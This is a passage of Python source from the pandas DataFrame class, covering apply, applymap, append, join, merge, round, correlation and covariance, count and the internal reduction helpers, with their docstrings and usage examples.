* 'expand' : list-like results will be turned into columns.
* 'reduce' : returns a Series if possible rather than expanding
list-like results. This is the opposite of 'expand'.
* 'broadcast' : results will be broadcast to the original shape
of the DataFrame, the original index and columns will be
retained.
The default behaviour (None) depends on the return value of the
applied function: list-like results will be returned as a Series
of those. However if the apply function returns a Series these
are expanded to columns.
args : tuple
Positional arguments to pass to `func` in addition to the
array/series.
**kwargs
Additional keyword arguments to pass as keywords arguments to
`func`.
Returns
-------
Series or DataFrame
Result of applying ``func`` along the given axis of the
DataFrame.
See Also
--------
DataFrame.applymap: For elementwise operations.
DataFrame.aggregate: Only perform aggregating type operations.
DataFrame.transform: Only perform transforming type operations.
Notes
-----
Functions that mutate the passed object can produce unexpected
behavior or errors and are not supported. See :ref:`gotchas.udf-mutation`
for more details.
Examples
--------
>>> df = pd.DataFrame([[4, 9]] * 3, columns=['A', 'B'])
>>> df
A B
0 4 9
1 4 9
2 4 9
Using a numpy universal function (in this case the same as
``np.sqrt(df)``):
>>> df.apply(np.sqrt)
A B
0 2.0 3.0
1 2.0 3.0
2 2.0 3.0
Using a reducing function on either axis
>>> df.apply(np.sum, axis=0)
A 12
B 27
dtype: int64
>>> df.apply(np.sum, axis=1)
0 13
1 13
2 13
dtype: int64
Returning a list-like will result in a Series
>>> df.apply(lambda x: [1, 2], axis=1)
0 [1, 2]
1 [1, 2]
2 [1, 2]
dtype: object
Passing ``result_type='expand'`` will expand list-like results
to columns of a Dataframe
>>> df.apply(lambda x: [1, 2], axis=1, result_type='expand')
0 1
0 1 2
1 1 2
2 1 2
Returning a Series inside the function is similar to passing
``result_type='expand'``. The resulting column names
will be the Series index.
>>> df.apply(lambda x: pd.Series([1, 2], index=['foo', 'bar']), axis=1)
foo bar
0 1 2
1 1 2
2 1 2
Passing ``result_type='broadcast'`` will ensure the same shape
result, whether list-like or scalar is returned by the function,
and broadcast it along the axis. The resulting column names will
be the originals.
>>> df.apply(lambda x: [1, 2], axis=1, result_type='broadcast')
A B
0 1 2
1 1 2
2 1 2
"""
from pandas.core.apply import frame_apply
op = frame_apply(
self,
func=func,
axis=axis,
raw=raw,
result_type=result_type,
args=args,
kwargs=kwargs,
)
return op.apply().__finalize__(self, method="apply")
def applymap(
self, func: PythonFuncType, na_action: str | None = None, **kwargs
) -> DataFrame:
"""
Apply a function to a Dataframe elementwise.
This method applies a function that accepts and returns a scalar
to every element of a DataFrame.
Parameters
----------
func : callable
Python function, returns a single value from a single value.
na_action : {None, 'ignore'}, default None
If ‘ignore’, propagate NaN values, without passing them to func.
.. versionadded:: 1.2
**kwargs
Additional keyword arguments to pass as keywords arguments to
`func`.
.. versionadded:: 1.3.0
Returns
-------
DataFrame
Transformed DataFrame.
See Also
--------
DataFrame.apply : Apply a function along input axis of DataFrame.
Examples
--------
>>> df = pd.DataFrame([[1, 2.12], [3.356, 4.567]])
>>> df
0 1
0 1.000 2.120
1 3.356 4.567
>>> df.applymap(lambda x: len(str(x)))
0 1
0 3 4
1 5 5
Like Series.map, NA values can be ignored:
>>> df_copy = df.copy()
>>> df_copy.iloc[0, 0] = pd.NA
>>> df_copy.applymap(lambda x: len(str(x)), na_action='ignore')
0 1
0 <NA> 4
1 5 5
Note that a vectorized version of `func` often exists, which will
be much faster. You could square each number elementwise.
>>> df.applymap(lambda x: x**2)
0 1
0 1.000000 4.494400
1 11.262736 20.857489
But it's better to avoid applymap in that case.
>>> df ** 2
0 1
0 1.000000 4.494400
1 11.262736 20.857489
"""
if na_action not in {"ignore", None}:
raise ValueError(
f"na_action must be 'ignore' or None. Got {repr(na_action)}"
)
ignore_na = na_action == "ignore"
func = functools.partial(func, **kwargs)
# if we have a dtype == 'M8[ns]', provide boxed values
def infer(x):
if x.empty:
return lib.map_infer(x, func, ignore_na=ignore_na)
return lib.map_infer(x.astype(object)._values, func, ignore_na=ignore_na)
return self.apply(infer).__finalize__(self, "applymap")
# ----------------------------------------------------------------------
# Merging / joining methods
def append(
self,
other,
ignore_index: bool = False,
verify_integrity: bool = False,
sort: bool = False,
) -> DataFrame:
"""
Append rows of `other` to the end of caller, returning a new object.
.. deprecated:: 1.4.0
Use :func:`concat` instead. For further details see
:ref:`whatsnew_140.deprecations.frame_series_append`
Columns in `other` that are not in the caller are added as new columns.
Parameters
----------
other : DataFrame or Series/dict-like object, or list of these
The data to append.
ignore_index : bool, default False
If True, the resulting axis will be labeled 0, 1, …, n - 1.
verify_integrity : bool, default False
If True, raise ValueError on creating index with duplicates.
sort : bool, default False
Sort columns if the columns of `self` and `other` are not aligned.
.. versionchanged:: 1.0.0
Changed to not sort by default.
Returns
-------
DataFrame
A new DataFrame consisting of the rows of caller and the rows of `other`.
See Also
--------
concat : General function to concatenate DataFrame or Series objects.
Notes
-----
If a list of dict/series is passed and the keys are all contained in
the DataFrame's index, the order of the columns in the resulting
DataFrame will be unchanged.
Iteratively appending rows to a DataFrame can be more computationally
intensive than a single concatenate. A better solution is to append
those rows to a list and then concatenate the list with the original
DataFrame all at once.
Examples
--------
>>> df = pd.DataFrame([[1, 2], [3, 4]], columns=list('AB'), index=['x', 'y'])
>>> df
A B
x 1 2
y 3 4
>>> df2 = pd.DataFrame([[5, 6], [7, 8]], columns=list('AB'), index=['x', 'y'])
>>> df.append(df2)
A B
x 1 2
y 3 4
x 5 6
y 7 8
With `ignore_index` set to True:
>>> df.append(df2, ignore_index=True)
A B
0 1 2
1 3 4
2 5 6
3 7 8
The following, while not recommended methods for generating DataFrames,
show two ways to generate a DataFrame from multiple data sources.
Less efficient:
>>> df = pd.DataFrame(columns=['A'])
>>> for i in range(5):
... df = df.append({'A': i}, ignore_index=True)
>>> df
A
0 0
1 1
2 2
3 3
4 4
More efficient:
>>> pd.concat([pd.DataFrame([i], columns=['A']) for i in range(5)],
... ignore_index=True)
A
0 0
1 1
2 2
3 3
4 4
"""
warnings.warn(
"The frame.append method is deprecated "
"and will be removed from pandas in a future version. "
"Use pandas.concat instead.",
FutureWarning,
stacklevel=find_stack_level(),
)
return self._append(other, ignore_index, verify_integrity, sort)
def _append(
self,
other,
ignore_index: bool = False,
verify_integrity: bool = False,
sort: bool = False,
) -> DataFrame:
combined_columns = None
if isinstance(other, (Series, dict)):
if isinstance(other, dict):
if not ignore_index:
raise TypeError("Can only append a dict if ignore_index=True")
other = Series(other)
if other.name is None and not ignore_index:
raise TypeError(
"Can only append a Series if ignore_index=True "
"or if the Series has a name"
)
index = Index([other.name], name=self.index.name)
idx_diff = other.index.difference(self.columns)
combined_columns = self.columns.append(idx_diff)
row_df = other.to_frame().T
# infer_objects is needed for
# test_append_empty_frame_to_series_with_dateutil_tz
other = row_df.infer_objects().rename_axis(index.names, copy=False)
elif isinstance(other, list):
if not other:
pass
elif not isinstance(other[0], DataFrame):
other = DataFrame(other)
if self.index.name is not None and not ignore_index:
other.index.name = self.index.name
from pandas.core.reshape.concat import concat
if isinstance(other, (list, tuple)):
to_concat = [self, *other]
else:
to_concat = [self, other]
result = concat(
to_concat,
ignore_index=ignore_index,
verify_integrity=verify_integrity,
sort=sort,
)
if (
combined_columns is not None
and not sort
and not combined_columns.equals(result.columns)
):
# TODO: reindexing here is a kludge bc union_indexes does not
# pass sort to index.union, xref #43375
# combined_columns.equals check is necessary for preserving dtype
# in test_crosstab_normalize
result = result.reindex(combined_columns, axis=1)
return result.__finalize__(self, method="append")
def join(
self,
other: DataFrame | Series,
on: IndexLabel | None = None,
how: str = "left",
lsuffix: str = "",
rsuffix: str = "",
sort: bool = False,
) -> DataFrame:
"""
Join columns of another DataFrame.
Join columns with `other` DataFrame either on index or on a key
column. Efficiently join multiple DataFrame objects by index at once by
passing a list.
Parameters
----------
other : DataFrame, Series, or list of DataFrame
Index should be similar to one of the columns in this one. If a
Series is passed, its name attribute must be set, and that will be
used as the column name in the resulting joined DataFrame.
on : str, list of str, or array-like, optional
Column or index level name(s) in the caller to join on the index
in `other`, otherwise joins index-on-index. If multiple
values given, the `other` DataFrame must have a MultiIndex. Can
pass an array as the join key if it is not already contained in
the calling DataFrame. Like an Excel VLOOKUP operation.
how : {'left', 'right', 'outer', 'inner'}, default 'left'
How to handle the operation of the two objects.
* left: use calling frame's index (or column if on is specified)
* right: use `other`'s index.
* outer: form union of calling frame's index (or column if on is
specified) with `other`'s index, and sort it.
lexicographically.
* inner: form intersection of calling frame's index (or column if
on is specified) with `other`'s index, preserving the order
of the calling's one.
* cross: creates the cartesian product from both frames, preserves the order
of the left keys.
.. versionadded:: 1.2.0
lsuffix : str, default ''
Suffix to use from left frame's overlapping columns.
rsuffix : str, default ''
Suffix to use from right frame's overlapping columns.
sort : bool, default False
Order result DataFrame lexicographically by the join key. If False,
the order of the join key depends on the join type (how keyword).
Returns
-------
DataFrame
A dataframe containing columns from both the caller and `other`.
See Also
--------
DataFrame.merge : For column(s)-on-column(s) operations.
Notes
-----
Parameters `on`, `lsuffix`, and `rsuffix` are not supported when
passing a list of `DataFrame` objects.
Support for specifying index levels as the `on` parameter was added
in version 0.23.0.
Examples
--------
>>> df = pd.DataFrame({'key': ['K0', 'K1', 'K2', 'K3', 'K4', 'K5'],
... 'A': ['A0', 'A1', 'A2', 'A3', 'A4', 'A5']})
>>> df
key A
0 K0 A0
1 K1 A1
2 K2 A2
3 K3 A3
4 K4 A4
5 K5 A5
>>> other = pd.DataFrame({'key': ['K0', 'K1', 'K2'],
... 'B': ['B0', 'B1', 'B2']})
>>> other
key B
0 K0 B0
1 K1 B1
2 K2 B2
Join DataFrames using their indexes.
>>> df.join(other, lsuffix='_caller', rsuffix='_other')
key_caller A key_other B
0 K0 A0 K0 B0
1 K1 A1 K1 B1
2 K2 A2 K2 B2
3 K3 A3 NaN NaN
4 K4 A4 NaN NaN
5 K5 A5 NaN NaN
If we want to join using the key columns, we need to set key to be
the index in both `df` and `other`. The joined DataFrame will have
key as its index.
>>> df.set_index('key').join(other.set_index('key'))
A B
key
K0 A0 B0
K1 A1 B1
K2 A2 B2
K3 A3 NaN
K4 A4 NaN
K5 A5 NaN
Another option to join using the key columns is to use the `on`
parameter. DataFrame.join always uses `other`'s index but we can use
any column in `df`. This method preserves the original DataFrame's
index in the result.
>>> df.join(other.set_index('key'), on='key')
key A B
0 K0 A0 B0
1 K1 A1 B1
2 K2 A2 B2
3 K3 A3 NaN
4 K4 A4 NaN
5 K5 A5 NaN
Using non-unique key values shows how they are matched.
>>> df = pd.DataFrame({'key': ['K0', 'K1', 'K1', 'K3', 'K0', 'K1'],
... 'A': ['A0', 'A1', 'A2', 'A3', 'A4', 'A5']})
>>> df
key A
0 K0 A0
1 K1 A1
2 K1 A2
3 K3 A3
4 K0 A4
5 K1 A5
>>> df.join(other.set_index('key'), on='key')
key A B
0 K0 A0 B0
1 K1 A1 B1
2 K1 A2 B1
3 K3 A3 NaN
4 K0 A4 B0
5 K1 A5 B1
"""
return self._join_compat(
other, on=on, how=how, lsuffix=lsuffix, rsuffix=rsuffix, sort=sort
)
def _join_compat(
self,
other: DataFrame | Series,
on: IndexLabel | None = None,
how: str = "left",
lsuffix: str = "",
rsuffix: str = "",
sort: bool = False,
):
from pandas.core.reshape.concat import concat
from pandas.core.reshape.merge import merge
if isinstance(other, Series):
if other.name is None:
raise ValueError("Other Series must have a name")
other = DataFrame({other.name: other})
if isinstance(other, DataFrame):
if how == "cross":
return merge(
self,
other,
how=how,
on=on,
suffixes=(lsuffix, rsuffix),
sort=sort,
)
return merge(
self,
other,
left_on=on,
how=how,
left_index=on is None,
right_index=True,
suffixes=(lsuffix, rsuffix),
sort=sort,
)
else:
if on is not None:
raise ValueError(
"Joining multiple DataFrames only supported for joining on index"
)
frames = [self] + list(other)
can_concat = all(df.index.is_unique for df in frames)
# join indexes only using concat
if can_concat:
if how == "left":
res = concat(
frames, axis=1, join="outer", verify_integrity=True, sort=sort
)
return res.reindex(self.index, copy=False)
else:
return concat(
frames, axis=1, join=how, verify_integrity=True, sort=sort
)
joined = frames[0]
for frame in frames[1:]:
joined = merge(
joined, frame, how=how, left_index=True, right_index=True
)
return joined
@Substitution("")
@Appender(_merge_doc, indents=2)
def merge(
self,
right: DataFrame | Series,
how: str = "inner",
on: IndexLabel | None = None,
left_on: IndexLabel | None = None,
right_on: IndexLabel | None = None,
left_index: bool = False,
right_index: bool = False,
sort: bool = False,
suffixes: Suffixes = ("_x", "_y"),
copy: bool = True,
indicator: bool = False,
validate: str | None = None,
) -> DataFrame:
from pandas.core.reshape.merge import merge
return merge(
self,
right,
how=how,
on=on,
left_on=left_on,
right_on=right_on,
left_index=left_index,
right_index=right_index,
sort=sort,
suffixes=suffixes,
copy=copy,
indicator=indicator,
validate=validate,
)
def round(
self, decimals: int | dict[IndexLabel, int] | Series = 0, *args, **kwargs
) -> DataFrame:
"""
Round a DataFrame to a variable number of decimal places.
Parameters
----------
decimals : int, dict, Series
Number of decimal places to round each column to. If an int is
given, round each column to the same number of places.
Otherwise dict and Series round to variable numbers of places.
Column names should be in the keys if `decimals` is a
dict-like, or in the index if `decimals` is a Series. Any
columns not included in `decimals` will be left as is. Elements
of `decimals` which are not columns of the input will be
ignored.
*args
Additional keywords have no effect but might be accepted for
compatibility with numpy.
**kwargs
Additional keywords have no effect but might be accepted for
compatibility with numpy.
Returns
-------
DataFrame
A DataFrame with the affected columns rounded to the specified
number of decimal places.
See Also
--------
numpy.around : Round a numpy array to the given number of decimals.
Series.round : Round a Series to the given number of decimals.
Examples
--------
>>> df = pd.DataFrame([(.21, .32), (.01, .67), (.66, .03), (.21, .18)],
... columns=['dogs', 'cats'])
>>> df
dogs cats
0 0.21 0.32
1 0.01 0.67
2 0.66 0.03
3 0.21 0.18
By providing an integer each column is rounded to the same number
of decimal places
>>> df.round(1)
dogs cats
0 0.2 0.3
1 0.0 0.7
2 0.7 0.0
3 0.2 0.2
With a dict, the number of places for specific columns can be
specified with the column names as key and the number of decimal
places as value
>>> df.round({'dogs': 1, 'cats': 0})
dogs cats
0 0.2 0.0
1 0.0 1.0
2 0.7 0.0
3 0.2 0.0
Using a Series, the number of places for specific columns can be
specified with the column names as index and the number of
decimal places as value
>>> decimals = pd.Series([0, 1], index=['cats', 'dogs'])
>>> df.round(decimals)
dogs cats
0 0.2 0.0
1 0.0 1.0
2 0.7 0.0
3 0.2 0.0
"""
from pandas.core.reshape.concat import concat
def _dict_round(df: DataFrame, decimals):
for col, vals in df.items():
try:
yield _series_round(vals, decimals[col])
except KeyError:
yield vals
def _series_round(ser: Series, decimals: int):
if is_integer_dtype(ser.dtype) or is_float_dtype(ser.dtype):
return ser.round(decimals)
return ser
nv.validate_round(args, kwargs)
if isinstance(decimals, (dict, Series)):
if isinstance(decimals, Series) and not decimals.index.is_unique:
raise ValueError("Index of decimals must be unique")
if is_dict_like(decimals) and not all(
is_integer(value) for _, value in decimals.items()
):
raise TypeError("Values in decimals must be integers")
new_cols = list(_dict_round(self, decimals))
elif is_integer(decimals):
# Dispatch to Series.round
new_cols = [_series_round(v, decimals) for _, v in self.items()]
else:
raise TypeError("decimals must be an integer, a dict-like or a Series")
if len(new_cols) > 0:
return self._constructor(
concat(new_cols, axis=1), index=self.index, columns=self.columns
)
else:
return self
# ----------------------------------------------------------------------
# Statistical methods, etc.
def corr(
self,
method: str | Callable[[np.ndarray, np.ndarray], float] = "pearson",
min_periods: int = 1,
) -> DataFrame:
"""
Compute pairwise correlation of columns, excluding NA/null values.
Parameters
----------
method : {'pearson', 'kendall', 'spearman'} or callable
Method of correlation:
* pearson : standard correlation coefficient
* kendall : Kendall Tau correlation coefficient
* spearman : Spearman rank correlation
* callable: callable with input two 1d ndarrays
and returning a float. Note that the returned matrix from corr
will have 1 along the diagonals and will be symmetric
regardless of the callable's behavior.
min_periods : int, optional
Minimum number of observations required per pair of columns
to have a valid result. Currently only available for Pearson
and Spearman correlation.
Returns
-------
DataFrame
Correlation matrix.
See Also
--------
DataFrame.corrwith : Compute pairwise correlation with another
DataFrame or Series.
Series.corr : Compute the correlation between two Series.
Examples
--------
>>> def histogram_intersection(a, b):
... v = np.minimum(a, b).sum().round(decimals=1)
... return v
>>> df = pd.DataFrame([(.2, .3), (.0, .6), (.6, .0), (.2, .1)],
... columns=['dogs', 'cats'])
>>> df.corr(method=histogram_intersection)
dogs cats
dogs 1.0 0.3
cats 0.3 1.0
"""
numeric_df = self._get_numeric_data()
cols = numeric_df.columns
idx = cols.copy()
mat = numeric_df.to_numpy(dtype=float, na_value=np.nan, copy=False)
if method == "pearson":
correl = libalgos.nancorr(mat, minp=min_periods)
elif method == "spearman":
correl = libalgos.nancorr_spearman(mat, minp=min_periods)
elif method == "kendall" or callable(method):
if min_periods is None:
min_periods = 1
mat = mat.T
corrf = nanops.get_corr_func(method)
K = len(cols)
correl = np.empty((K, K), dtype=float)
mask = np.isfinite(mat)
for i, ac in enumerate(mat):
for j, bc in enumerate(mat):
if i > j:
continue
valid = mask[i] & mask[j]
if valid.sum() < min_periods:
c = np.nan
elif i == j:
c = 1.0
elif not valid.all():
c = corrf(ac[valid], bc[valid])
else:
c = corrf(ac, bc)
correl[i, j] = c
correl[j, i] = c
else:
raise ValueError(
"method must be either 'pearson', "
"'spearman', 'kendall', or a callable, "
f"'{method}' was supplied"
)
return self._constructor(correl, index=idx, columns=cols)
def cov(self, min_periods: int | None = None, ddof: int | None = 1) -> DataFrame:
"""
Compute pairwise covariance of columns, excluding NA/null values.
Compute the pairwise covariance among the series of a DataFrame.
The returned data frame is the `covariance matrix
<https://en.wikipedia.org/wiki/Covariance_matrix>`__ of the columns
of the DataFrame.
Both NA and null values are automatically excluded from the
calculation. (See the note below about bias from missing values.)
A threshold can be set for the minimum number of
observations for each value created. Comparisons with observations
below this threshold will be returned as ``NaN``.
This method is generally used for the analysis of time series data to
understand the relationship between different measures
across time.
Parameters
----------
min_periods : int, optional
Minimum number of observations required per pair of columns
to have a valid result.
ddof : int, default 1
Delta degrees of freedom. The divisor used in calculations
is ``N - ddof``, where ``N`` represents the number of elements.
.. versionadded:: 1.1.0
Returns
-------
DataFrame
The covariance matrix of the series of the DataFrame.
See Also
--------
Series.cov : Compute covariance with another Series.
core.window.ExponentialMovingWindow.cov: Exponential weighted sample covariance.
core.window.Expanding.cov : Expanding sample covariance.
core.window.Rolling.cov : Rolling sample covariance.
Notes
-----
Returns the covariance matrix of the DataFrame's time series.
The covariance is normalized by N-ddof.
For DataFrames that have Series that are missing data (assuming that
data is `missing at random
<https://en.wikipedia.org/wiki/Missing_data#Missing_at_random>`__)
the returned covariance matrix will be an unbiased estimate
of the variance and covariance between the member Series.
However, for many applications this estimate may not be acceptable
because the estimate covariance matrix is not guaranteed to be positive
semi-definite. This could lead to estimate correlations having
absolute values which are greater than one, and/or a non-invertible
covariance matrix. See `Estimation of covariance matrices
<https://en.wikipedia.org/w/index.php?title=Estimation_of_covariance_
matrices>`__ for more details.
Examples
--------
>>> df = pd.DataFrame([(1, 2), (0, 3), (2, 0), (1, 1)],
... columns=['dogs', 'cats'])
>>> df.cov()
dogs cats
dogs 0.666667 -1.000000
cats -1.000000 1.666667
>>> np.random.seed(42)
>>> df = pd.DataFrame(np.random.randn(1000, 5),
... columns=['a', 'b', 'c', 'd', 'e'])
>>> df.cov()
a b c d e
a 0.998438 -0.020161 0.059277 -0.008943 0.014144
b -0.020161 1.059352 -0.008543 -0.024738 0.009826
c 0.059277 -0.008543 1.010670 -0.001486 -0.000271
d -0.008943 -0.024738 -0.001486 0.921297 -0.013692
e 0.014144 0.009826 -0.000271 -0.013692 0.977795
**Minimum number of periods**
This method also supports an optional ``min_periods`` keyword
that specifies the required minimum number of non-NA observations for
each column pair in order to have a valid result:
>>> np.random.seed(42)
>>> df = pd.DataFrame(np.random.randn(20, 3),
... columns=['a', 'b', 'c'])
>>> df.loc[df.index[:5], 'a'] = np.nan
>>> df.loc[df.index[5:10], 'b'] = np.nan
>>> df.cov(min_periods=12)
a b c
a 0.316741 NaN -0.150812
b NaN 1.248003 0.191417
c -0.150812 0.191417 0.895202
"""
numeric_df = self._get_numeric_data()
cols = numeric_df.columns
idx = cols.copy()
mat = numeric_df.to_numpy(dtype=float, na_value=np.nan, copy=False)
if notna(mat).all():
if min_periods is not None and min_periods > len(mat):
base_cov = np.empty((mat.shape[1], mat.shape[1]))
base_cov.fill(np.nan)
else:
base_cov = np.cov(mat.T, ddof=ddof)
base_cov = base_cov.reshape((len(cols), len(cols)))
else:
base_cov = libalgos.nancorr(mat, cov=True, minp=min_periods)
return self._constructor(base_cov, index=idx, columns=cols)
def corrwith(self, other, axis: Axis = 0, drop=False, method="pearson") -> Series:
"""
Compute pairwise correlation.
Pairwise correlation is computed between rows or columns of
DataFrame with rows or columns of Series or DataFrame. DataFrames
are first aligned along both axes before computing the
correlations.
Parameters
----------
other : DataFrame, Series
Object with which to compute correlations.
axis : {0 or 'index', 1 or 'columns'}, default 0
The axis to use. 0 or 'index' to compute column-wise, 1 or 'columns' for
row-wise.
drop : bool, default False
Drop missing indices from result.
method : {'pearson', 'kendall', 'spearman'} or callable
Method of correlation:
* pearson : standard correlation coefficient
* kendall : Kendall Tau correlation coefficient
* spearman : Spearman rank correlation
* callable: callable with input two 1d ndarrays
and returning a float.
Returns
-------
Series
Pairwise correlations.
See Also
--------
DataFrame.corr : Compute pairwise correlation of columns.
"""
axis = self._get_axis_number(axis)
this = self._get_numeric_data()
if isinstance(other, Series):
return this.apply(lambda x: other.corr(x, method=method), axis=axis)
other = other._get_numeric_data()
left, right = this.align(other, join="inner", copy=False)
if axis == 1:
left = left.T
right = right.T
if method == "pearson":
# mask missing values
left = left + right * 0
right = right + left * 0
# demeaned data
ldem = left - left.mean()
rdem = right - right.mean()
num = (ldem * rdem).sum()
dom = (left.count() - 1) * left.std() * right.std()
correl = num / dom
elif method in ["kendall", "spearman"] or callable(method):
def c(x):
return nanops.nancorr(x[0], x[1], method=method)
correl = self._constructor_sliced(
map(c, zip(left.values.T, right.values.T)), index=left.columns
)
else:
raise ValueError(
f"Invalid method {method} was passed, "
"valid methods are: 'pearson', 'kendall', "
"'spearman', or callable"
)
if not drop:
# Find non-matching labels along the given axis
# and append missing correlations (GH 22375)
raxis = 1 if axis == 0 else 0
result_index = this._get_axis(raxis).union(other._get_axis(raxis))
idx_diff = result_index.difference(correl.index)
if len(idx_diff) > 0:
correl = correl._append(
Series([np.nan] * len(idx_diff), index=idx_diff)
)
return correl
# ----------------------------------------------------------------------
# ndarray-like stats methods
def count(
self, axis: Axis = 0, level: Level | None = None, numeric_only: bool = False
):
"""
Count non-NA cells for each column or row.
The values `None`, `NaN`, `NaT`, and optionally `numpy.inf` (depending
on `pandas.options.mode.use_inf_as_na`) are considered NA.
Parameters
----------
axis : {0 or 'index', 1 or 'columns'}, default 0
If 0 or 'index' counts are generated for each column.
If 1 or 'columns' counts are generated for each row.
level : int or str, optional
If the axis is a `MultiIndex` (hierarchical), count along a
particular `level`, collapsing into a `DataFrame`.
A `str` specifies the level name.
numeric_only : bool, default False
Include only `float`, `int` or `boolean` data.
Returns
-------
Series or DataFrame
For each column/row the number of non-NA/null entries.
If `level` is specified returns a `DataFrame`.
See Also
--------
Series.count: Number of non-NA elements in a Series.
DataFrame.value_counts: Count unique combinations of columns.
DataFrame.shape: Number of DataFrame rows and columns (including NA
elements).
DataFrame.isna: Boolean same-sized DataFrame showing places of NA
elements.
Examples
--------
Constructing DataFrame from a dictionary:
>>> df = pd.DataFrame({"Person":
... ["John", "Myla", "Lewis", "John", "Myla"],
... "Age": [24., np.nan, 21., 33, 26],
... "Single": [False, True, True, True, False]})
>>> df
Person Age Single
0 John 24.0 False
1 Myla NaN True
2 Lewis 21.0 True
3 John 33.0 True
4 Myla 26.0 False
Notice the uncounted NA values:
>>> df.count()
Person 5
Age 4
Single 5
dtype: int64
Counts for each **row**:
>>> df.count(axis='columns')
0 3
1 2
2 3
3 3
4 3
dtype: int64
"""
axis = self._get_axis_number(axis)
if level is not None:
warnings.warn(
"Using the level keyword in DataFrame and Series aggregations is "
"deprecated and will be removed in a future version. Use groupby "
"instead. df.count(level=1) should use df.groupby(level=1).count().",
FutureWarning,
stacklevel=find_stack_level(),
)
return self._count_level(level, axis=axis, numeric_only=numeric_only)
if numeric_only:
frame = self._get_numeric_data()
else:
frame = self
# GH #423
if len(frame._get_axis(axis)) == 0:
result = self._constructor_sliced(0, index=frame._get_agg_axis(axis))
else:
if frame._is_mixed_type or frame._mgr.any_extension_types:
# the or any_extension_types is really only hit for single-
# column frames with an extension array
result = notna(frame).sum(axis=axis)
else:
# GH13407
series_counts = notna(frame).sum(axis=axis)
counts = series_counts.values
result = self._constructor_sliced(
counts, index=frame._get_agg_axis(axis)
)
return result.astype("int64")
def _count_level(self, level: Level, axis: int = 0, numeric_only: bool = False):
if numeric_only:
frame = self._get_numeric_data()
else:
frame = self
count_axis = frame._get_axis(axis)
agg_axis = frame._get_agg_axis(axis)
if not isinstance(count_axis, MultiIndex):
raise TypeError(
f"Can only count levels on hierarchical {self._get_axis_name(axis)}."
)
# Mask NaNs: Mask rows or columns where the index level is NaN, and all
# values in the DataFrame that are NaN
if frame._is_mixed_type:
# Since we have mixed types, calling notna(frame.values) might
# upcast everything to object
values_mask = notna(frame).values
else:
# But use the speedup when we have homogeneous dtypes
values_mask = notna(frame.values)
index_mask = notna(count_axis.get_level_values(level=level))
if axis == 1:
mask = index_mask & values_mask
else:
mask = index_mask.reshape(-1, 1) & values_mask
if isinstance(level, str):
level = count_axis._get_level_number(level)
level_name = count_axis._names[level]
level_index = count_axis.levels[level]._rename(name=level_name)
level_codes = ensure_platform_int(count_axis.codes[level])
counts = lib.count_level_2d(mask, level_codes, len(level_index), axis=axis)
if axis == 1:
result = self._constructor(counts, index=agg_axis, columns=level_index)
else:
result = self._constructor(counts, index=level_index, columns=agg_axis)
return result
def _reduce(
self,
op,
name: str,
*,
axis: Axis = 0,
skipna: bool = True,
numeric_only: bool | None = None,
filter_type=None,
**kwds,
):
assert filter_type is None or filter_type == "bool", filter_type
out_dtype = "bool" if filter_type == "bool" else None
if numeric_only is None and name in ["mean", "median"]:
own_dtypes = [arr.dtype for arr in self._mgr.arrays]
dtype_is_dt = np.array(
[is_datetime64_any_dtype(dtype) for dtype in own_dtypes],
dtype=bool,
)
if dtype_is_dt.any():
warnings.warn(
"DataFrame.mean and DataFrame.median with numeric_only=None "
"will include datetime64 and datetime64tz columns in a "
"future version.",
FutureWarning,
stacklevel=find_stack_level(),
)
# Non-copy equivalent to
# dt64_cols = self.dtypes.apply(is_datetime64_any_dtype)
# cols = self.columns[~dt64_cols]
# self = self[cols]
predicate = lambda x: not is_datetime64_any_dtype(x.dtype)
mgr = self._mgr._get_data_subset(predicate)
self = type(self)(mgr)
# TODO: Make other agg func handle axis=None properly GH#21597
axis = self._get_axis_number(axis)
labels = self._get_agg_axis(axis)
assert axis in [0, 1]
def func(values: np.ndarray):
# We only use this in the case that operates on self.values
return op(values, axis=axis, skipna=skipna, **kwds)
def blk_func(values, axis=1):
if isinstance(values, ExtensionArray):
if not is_1d_only_ea_obj(values) and not isinstance(
self._mgr, ArrayManager
):
return values._reduce(name, axis=1, skipna=skipna, **kwds)
return values._reduce(name, skipna=skipna, **kwds)
else:
return op(values, axis=axis, skipna=skipna, **kwds)
def _get_data() -> DataFrame:
if filter_type is None:
data = self._get_numeric_data()
else:
# GH#25101, GH#24434
assert filter_type == "bool"
data = self._get_bool_data()
return data
if numeric_only is not None or axis == 0:
# For numeric_only non-None and axis non-None, we know
# which blocks to use and no try/except is needed.
# For numeric_only=None only the case with axis==0 and no object
# dtypes are unambiguous can be handled with BlockManager.reduce
# Case with EAs see GH#35881
df = self
if numeric_only is True:
df = _get_data()
if axis == 1:
df = df.T
axis = 0
ignore_failures = numeric_only is None
# After possibly _get_data and transposing, we are now in the
# simple case where we can use BlockManager.reduce
res, _ = df._mgr.reduce(blk_func, ignore_failures=ignore_failures)
out = df._constructor(res).iloc[0]
if out_dtype is not None:
out = out.astype(out_dtype)
if axis == 0 and len(self) == 0 and name in ["sum", "prod"]:
# Even if we are object dtype, follow numpy and return
# float64, see test_apply_funcs_over_empty
out = out.astype(np.float64)
if numeric_only is None and out.shape[0] != df.shape[1]:
# columns have been dropped GH#41480
arg_name = "numeric_only"
if name in ["all", "any"]:
arg_name = "bool_only"
warnings.warn(
"Dropping of nuisance columns in DataFrame reductions "
f"(with '{arg_name}=None') is deprecated; in a future "
"version this will raise TypeError. Select only valid "
"columns before calling the reduction.",
FutureWarning,
stacklevel=find_stack_level(),
)
return out
assert numeric_only is None
data = self
values = data.values
try:
result = func(values)
except TypeError:
# e.g. in nanops trying to convert strs to float
data = _get_data()
labels = data._get_agg_axis(axis)
values = data.values
with np.errstate(all="ignore"):
result = func(values)
# columns have been dropped GH#41480
arg_name = "numeric_only"
if name in ["all", "any"]:
arg_name = "bool_only"
warnings.warn(
"Dropping of nuisance columns in DataFrame reductions "
f"(with '{arg_name}=None') is deprecated; in a future "
"version this will raise TypeError. Select only valid "
"columns before calling the reduction.",
FutureWarning,
stacklevel=find_stack_level(),
)
if hasattr(result, "dtype"):
if filter_type == "bool" and notna(result).all():
result = result.astype(np.bool_)
elif filter_type is None and is_object_dtype(result.dtype):
try:
result = result.astype(np.float64)
except (ValueError, TypeError):
# try to coerce to the original dtypes item by item if we can
pass
result = self._constructor_sliced(result, index=labels)
return result
def _reduce_axis1(self, name: str, func, skipna: bool) -> Series:
"""
Special case for _reduce to try to avoid a potentially-expensive transpose.
Apply the reduction block-wise along axis=1 and then reduce the resulting
1D arrays.
"""
if name == "all":
result = np.ones(len(self), dtype=bool)
ufunc = np.logical_and
elif name == "any":
result = np.zeros(len(self), dtype=bool)
# error: Incompatible types in assignment
